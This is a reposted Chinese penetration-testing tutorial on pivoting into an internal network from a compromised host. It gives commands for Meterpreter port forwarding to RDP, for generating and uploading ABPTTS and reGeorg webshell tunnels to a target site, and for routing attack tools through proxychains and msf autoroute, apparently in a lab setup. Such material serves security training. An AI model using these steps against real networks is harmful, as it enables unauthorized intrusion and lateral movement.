渗透测试之三内网跳板

搭建内网的转发跳板

  • 当成功控制一个网络中的一台主机后,由于后面的主机都在内网中无法访问,所以需要在跳板机上搭建代理,实现对内网中的其他主机的访问

portfwd是一款强大的端口转发工具,支持TCP,UDP,支持IPV4–IPV6的转换转发。并且内置于meterpreter。

攻击机: 192.168.1.5 Debian
靶机: 192.168.1.4 Windows 7
192.168.1.119 Windows 2003


靶机IP为:192.168.1.119—windows 2003—x64
需要转发端口为:80,3389


执行命令如下


if defined PSModulePath (echo ok!) else (echo sorry!)


查看使用参数


meterpreter > portfwd ‐h


添加本地33389到目标主机3389的端口转发


meterpreter > portfwd add ‐l 33389 ‐r 192.168.1.119 ‐p 3389


添加本地30080到目标主机80的端口转发


meterpreter> portfwd add ‐l 30080 ‐r 192.168.1.119 ‐p 80


查看端口转发信息


meterpreter > portfwd


这时访问本地主机的33389端口相当于访问目标主机的3389端口
访问本地主机的30080端口相当于访问目标主机的80端口
这种情况需要在跳板机上使用msf拿到目标主机的shell,实际应用场景不多

ABPTTS

ABPTTS是NCC Group在2016年blackhat推出的一款将TCP流量通过HTTP/HTTPS进行流量转发,在目前云主机的大环境中,发挥了比较重要的作用,可以通过脚本进行RDP,SSH,Meterpreter的交互与连接。也意味着这样可以建立一个通过80端口得流量出站来逃避防火墙。与其它http隧道不同的是,abptts是全加密。
安装与生成payload:


git clone https://github.com/nccgroup/ABPTTS.git
pip install pycrypto
cd ABPTTS/
python abpttsfactory.py ‐o webshell


将生成的payload放入目标网站
在跳板主机上执行代理命令


python abpttsclient.py ‐c webshell/config.txt ‐u “代理网页的URL” ‐f 跳板机IP:跳板机端口/目标机IP:目标机端口


这时访问跳板主机的IP和端口就相当于访问目标主机的IP和端口
这种不支持PHP

reGeorg

reGeorg的前身是2008年SensePost在BlackHat USA 2008 的 reDuh延伸与扩展。也是目前安全从业人员使用最多,范围最广,支持多丰富的一款http隧道。从本质上讲,可以将JSP/PHP/ASP/ASPX等页面上传到目标服务器,便可以访问该服务器后面的主机。
安装:


git clone https://github.com/sensepost/reGeorg.git
pip install urllib3


将其中的网页文件放入跳板主机的网站目录下,PHP环境建议使用tunnel.nosocket.php,
然后测试脚本是否能正常访问
攻击机这时就可以搞事情啦
运行下列命令


比如:reGeorgSocksProxy.py -p 9999 -u http://192.168.80.139/zvuldrill/tunnel.nosocket.php


如果攻击机是Windows系统,则使用Proxifier进行代理设置

 

  • 设置代理服务器端口为9999

 

 

 

  • 代理规则默认即可

 

 

当需要运行一个使用跳板的软件时,
右击“mstsc.exe”,选择“proxifier”-》proxy socks5 127.0.0.1进行远程连接

 

 

这时候这个软件的流量就可以通过跳板进入内网
如果攻击机为Linux,使用proxychains
可以下载安装,Kali本身也带有这个工具
设置kali的proxychains代理地址和端口(通过本地的socks5 2333端口出去)

vi /etc/proxychains.conf
  • 配置好后通过 reGeory 来打通本地和目标的通道
reGeorgSocksProxy.py -p 9999 -u http://192.168.80.139/zvuldrill/tunnel.nosocket.php

本地所有工具都可通过目标服务器进一步攻击(这样kali的所有工具就如同全部在内网那台getshell的服务器上)
所有工具使用命令前加 proxychains
比如:proxychains msfconsole
连接内网windows机器proxychains rdesktop x.x.x.x:3389 -u test -p 123456

利用msf可以简化很多操作

添加路由命令


run autoroute -s 192.168.80.0/24
————————————————
版权声明:本文为CSDN博主「习惯积淀」的原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/weixin_44479297/article/details/90481121

 

猜你喜欢

转载自www.cnblogs.com/wjw-zm/p/11689351.html